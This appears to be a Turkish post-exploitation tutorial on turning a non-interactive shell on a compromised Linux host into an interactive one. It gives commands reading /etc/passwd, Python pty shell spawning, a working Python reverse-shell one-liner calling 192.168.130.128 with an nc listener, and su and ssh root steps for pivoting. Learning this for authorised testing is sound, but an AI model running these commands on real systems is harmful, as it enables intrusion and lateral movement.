Erişim elde edilen bir Linux sistemde çalıştırılabilen 2 örnek komut aşağıdaki gibidir.
id
head -3 /etc/passwd
Bunun yanında etkileşim bekleyen, kullanıcıdan veri (parola değeri gibi) girişi isteyen bazı komutlar (su, sudo, ssh gibi) ise etkileşimsiz kabuklarda (non-interactive shell) çalışmamaktadır.
su – msfadmin
top
ssh root@192.168.30.133
Not: Mevcut kabuğun etkileşimlik olup olmadığını anlamak için “$-” sorgusu kullanılabilir.
[[ $- == *i* ]] && echo ‘Interactive’ || echo ‘Not interactive’
Etkileşimsiz kabuktan etkileşimli kabuğa geçebilmek için çeşitli yöntemler bulunmaktadır. Bu yöntemlerden birisi de Python paketi kurulu olan hedef sistemde pty (Pseudo-terminal Utilities) modülünün spawn metodunu kullanmaktadır. Böylece aynı yetkiler ile etkileşimli komut satırı elde edilebilir.
python -c ‘import pty;pty.spawn(“/bin/sh”)’
id
Not: Bir dosya içerisine yazılarak da kabuk elde edilebilir.
echo “import pty; pty.spawn(‘/bin/bash’)” > /tmp/kabuk.py
python /tmp/kabuk.py
Not: Elde edilen kabuktan çalıştırılan komutun tekrarı da ekrana yazılmaktadır. Bu sebeple aşağıdaki komut kullanılarak da kabuk erişimi elde edilebilir.
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.130.128”,12345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
nc -lnvp 10401
Not: “python” yerine farklı sürümlerin olduğu durumlarda sürüme ait aracın kullanılması gerekebilir.
python3.5 -c ‘import pty;pty.spawn(“/bin/bash”)’
Elde edilen etkileşimli kabuk ile daha önceden çalıştırılamayan su, sudo gibi komutlar çalıştırılabilir.
su – msfadmin
id
Not: “su” aracının çalıştırılamadığı bu ve benzeri bir durumda “su” aracı yerine “chsh” aracı da kullanılabilir.
/usr/bin/chsh
Bunun yanında bellek durumu incelenebilir.
top
Benzer olarak ele geçirilen ele geçirilen Linux sistem üzerinden başka sistemlere erişim sağlanabilir.
ssh root@192.168.30.133
Kaynak:
https://highon.coffee/blog/reverse-shell-cheat-sheet/
https://pen-testing.sans.org/blog/2017/02/01/pen-test-poster-white-board-python-raw-shell-terminal